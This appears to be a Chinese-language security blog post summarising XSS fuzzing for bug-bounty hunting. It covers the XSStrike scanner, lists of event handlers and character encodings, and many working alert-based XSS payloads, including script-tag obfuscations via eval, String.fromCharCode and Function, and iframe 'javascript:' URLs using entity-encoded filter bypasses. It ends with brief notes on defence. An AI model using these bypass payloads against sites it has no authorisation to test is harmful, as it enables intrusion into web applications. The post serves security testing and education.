<
XSS小结
>
上一篇

蓝队典型经验
下一篇

蚁剑动静态免杀初试
一个web安全研究员-XSS

前言

最近想刷刷国外的src,而批量扫xss是一个不错的选择,一番搜索下发现了一些有趣的项目,写文记录下。

xss能干什么

一个开源的XSS扫描器

XSStrike

一个基于python3的xss扫描器,使用下来感觉一般吧

这里记录下使用命令

XSS Fuzz的艺术

xss fuzz常常在于模糊测试时非常有用,而XSS的payload往往有几个方面组成,那么我们完全可以批量生成我们的测试payload,然后使用burp或者其他工具对某些输入点进行Fuzz

1、常用标签

2、常用事件

3、payload

4、其他标签

5、编码

6、前缀

7、特殊payload

简单总结了一下也就如上一些方面,那么通过这些组合,我们就可以生成我们自己常用的payload列表

这里就要讲一下XSS-Fuzz这个项目了,作者总结了很多标签及事件的用法,但是由于不同事件与标签的适配性,还有事件触发条件等,这些需要重新整理。而XSStrike则是通过插入到页面中进行判断的,而我这里比较想实现的方式是直接输入大批量的patyload的,然后看哪个payload能用实在。当然更专业的检测还是通过返回包判断的方式

还有一些payload需要低版本的IE浏览器才能支持,这里就不在做考虑了。

思路呢就是先筛选可执行的js弹窗的各种payload,然后在结合各种标签事件,加编码即可

首先去简单收集了下payload,结果如下

<script>alert('1')</script>
<script>javascript:window.onerror = alert(2);</script>
<script>javascript:alert('3');</script>
<script>(alert)(4)</script>
<script>a=alert,a(5)</script>
<script>[6].find(alert)</script>
<script>top["al"+"ert"](7)</script>
<script>top[/al/.source+/ert/.source](8)</script>
<script>al\u0065rt(9)</script>
<script>top['al\145rt'](10)</script>
<script>top['al\x65rt'](11)</script>
//parseInt('alert',30) 
//8680439..toString(30)
<script>top[11189117..toString(32)](12)</script>
<script>top.alert(13)</script>
<script>`${alert(14)}`()</script>
<script>(alert(15))</script>
<script>eval('~a~le~rt~~(~~16~~)~'.replace(/~/g, ''))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,55,41))</script>
<script>var x=eval;x('alert(18)')</script>
<script>(1, eval)('alert(19)')</script>
<script>new Function('alert(20)')()</script>
<script>eval.call(null, 'alert(21)')</script>
<script>prompt(22)</script>
<script>confirm(23)</script>
<script>alert(String.fromCharCode(50, 52))</script>
<script>console.log(24)</script>
<script>self['al'+'ert'](25)</script>
<script>window['al'+'ert'](26)</script>
<script>frames['al'+'ert'](27)</script>
<script>parent['al'+'ert'](28)</script>
<script>(function(){alert(29)})()</script>
<script>!function(){alert(30)}()</script>
<script>~function(){alert(31)}()</script>
<script>-function(){alert(32)}()</script>
<script>+function(){alert(33)}()</script>
<script>javascript:[''].findIndex(alert(34))</script>
<script>location=['javascript:alert(35)']</script>
<script>Function(alert(36))()</script>
<script>data:alert(37)</script>
<script>$:alert(38)</script>
<script>$:{alert(39)}</script>
<script>javascript:/*!90000*/alert('40');</script>
<script>javascript:alert/*!90000*/('41');</script>
<script>javascript:alert(/*!90000*/'42');</script>
<script>javascript:alert('43'/*!90000*/);</script>
<script>javascript:alert('44')/*!90000*/;</script>
<script>/*!90000*/javascript:alert('45');</script>
<script>javascript/*!90000*/:alert('46');</script>

可以看到各种payload还挺多的,不难发现几种变形规律

payload也大体分为两个方面 一个是js代码式 alert(1) 一个是需要指定触发方式 javascript:

:alert(1)前面加大多数字符都可以,除了约定不能以%、&等开头和运算符以外都可以

!、~、-、+遇到:会报错 ;只能在开头 /**/、/*%00*/、/*90000*/ 不能在字符串中间

在函数体中充当字符串的可以使用各种类型编码 通过以上这些手段可以将payload列表在扩充,不过其实也没太多必要,一般一种形式来一个,过了就过了,没过就算了。毕竟xss好多都不收。。 还有可以去看一看这个项目白帽赏金平台xss漏洞模糊测试有效载荷的最佳集合,总结的很全面。

其次呢就是各种事件,事件种类大致分类可以参考javascript的官方文档或者github的项目

测试了一下平时比较好触发的事件如下

onloadstart 
onerror
onprogress 
onsuspend 
ondurationchange 
onloadedmetadata 
onloadeddata 
oncanplay 
oncanplaythrough 
onmouseover
onmousemove
onmouseout
onload
onfocus

接下来就是选择标签了,其实标签挺多的,而且大部分都还支持各类事件。重点是某些标签,在网上查询是不支持触发事件的,其实是需要我们测试后才能确定的,可以平时收藏一些不常见的标签,例如object的type等

有了标签,有了事件,有了payload。那么我们写个脚本组合一下就能有大量的payload的方便我们进行fuzz了

生成效果如下

image-20210401205353155

最后把payload乱序一下,排个编号。芜湖,大功告成。处理完的结果放在github了,有需自取。

编码

XSS中的编码根据不同的浏览器器可能适用性不一样,下面记录一些常见的通用编码绕过方式 在单纯的js代码或者说事件中,是不能随意使用的,这样会破坏结构。但是可以使用\u0065(Unicode)来编码字符 如al\u0065rt(1)是可以当做js来执行的

而在src属性中,其中的内容是当字符串处理的,那可以被浏览器解析的,应该都可以使用 <iframe src="jav&#x09;ascript:alert(1)" type=text> 如上的payload就添加了一个空字符,具体可以去查ascii码表。 那么编码么我们可使用的有以下几种,html实体编码、html编码、Unicode编码、十六进制编码、八进制编码。所以单单一个i字符就有以下这么多种编码

%69
&#105
&#0105
&#00105
&#000105
&#0000105
&#105;
&#0105;
&#00105;
&#000105;
&#0000105;
&#x69
&#x069
&#x0069
&#x00069
&#x000069
&#x0000069
&#x69;
&#x069;
&#x0069;
&#x00069;
&#x000069;
&#x0000069;
&#X69
&#X069
&#X0069
&#X00069
&#X000069
&#X0000069
&#X69;
&#X069;
&#X0069;
&#X00069;
&#X000069;
&#X0000069;
\x69
\u0069
\151

通过简单的脚本筛选,发现以下都是可以的

<iframe src="jav&#x09;ascr&#105pt:alert(1)" type=text></iframe>
<iframe src="jav&#x09;ascr&#0105pt:alert(2)" type=text></iframe>
<iframe src="jav&#x09;ascr&#00105pt:alert(3)" type=text></iframe>
<iframe src="jav&#x09;ascr&#000105pt:alert(4)" type=text></iframe>
<iframe src="jav&#x09;ascr&#0000105pt:alert(5)" type=text></iframe>
<iframe src="jav&#x09;ascr&#105;pt:alert(6)" type=text></iframe>
<iframe src="jav&#x09;ascr&#0105;pt:alert(7)" type=text></iframe>
<iframe src="jav&#x09;ascr&#00105;pt:alert(8)" type=text></iframe>
<iframe src="jav&#x09;ascr&#000105;pt:alert(9)" type=text></iframe>
<iframe src="jav&#x09;ascr&#0000105;pt:alert(10)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x69pt:alert(11)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x069pt:alert(12)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x0069pt:alert(13)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x00069pt:alert(14)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x000069pt:alert(15)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x0000069pt:alert(16)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x69;pt:alert(17)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x069;pt:alert(18)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x0069;pt:alert(19)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x00069;pt:alert(20)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x000069;pt:alert(21)" type=text></iframe>
<iframe src="jav&#x09;ascr&#x0000069;pt:alert(22)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X69pt:alert(23)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X069pt:alert(24)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X0069pt:alert(25)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X00069pt:alert(26)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X000069pt:alert(27)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X0000069pt:alert(28)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X69;pt:alert(29)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X069;pt:alert(30)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X0069;pt:alert(31)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X00069;pt:alert(32)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X000069;pt:alert(33)" type=text></iframe>
<iframe src="jav&#x09;ascr&#X0000069;pt:alert(34)" type=text></iframe>

可以看到html编码,unicode编码、16进制编码和八进制编码在语句中都不可以。 但是将这些编码放在js中呢? 发现hrml编码和unicode编码是可以执行的

<iframe src="jav&#x09;ascript:al%65rt(0)" type=text></iframe>
<iframe src="jav&#x09;ascr&#105pt:al\u0065rt(1)" type=text></iframe>

但是十六进制和八进制没有用了吗?当然不是

<iframe src="jav&#x09;ascript:top['al\x65rt'](1)" type=text></iframe>
<iframe src="jav&#x09;ascript:top['al\145rt'](2)" type=text></iframe>

在字符串中是可以使用这两种编码来进行编码转换的。 那么就剩最后一个问题了,上面的字符支持在字符串中进行编码吗?当然是全部支持了。

还有一个问题,连接符:是属于后边js部分呢,还是前面javascript声明呢。 因为js支持支持html编码,而javsscript声明不支持,那么我们把:编码为%3a看看会有什么效果即可

<iframe src="jav&#x09;ascr&#105pt%3aal&#x65rt(1)" type=text></iframe>

弹不出来,那么说明是属于javascript这个关键词的,只支持html实体编码! 在一些特定条件中,会涉及到二次编码,如实体编码再用url编码一次传入,这些情况不在深入跟进了,大体思路了解以后,希望每个人都是xss小能手。

最后结论

字符串支持html实体编码、html编码、Unicode编码、十六进制编码、八进制编码 js仅支持unicode 在javascipt:alert(1)这种指定触发条件的情况下,js支持除了十六进制和八进制的其他字符编码。 而javascript这个关键词,只支持html实体编码。

xss的防御

现在xss的防御也挺简单的,只需要把输入输出都进行过滤即可。写文章的时候想到了一个问题,输入转义和输出转义可以完全防止XSS攻击吗?当然是不能的,一个是因为有些paylaod可能就不带实体编码的那几个字符,另外一个方面呢在一些情况下,因为可能仅仅只是输入过滤了,或仅仅是输出过滤了,又或者输出过滤只考虑了输入页面的点。如这个页面输出过滤了,其他地方加载时没有过滤,就也有可能存在问题。

最后,深入研究一个技术确实挺快乐的~

Top
Foot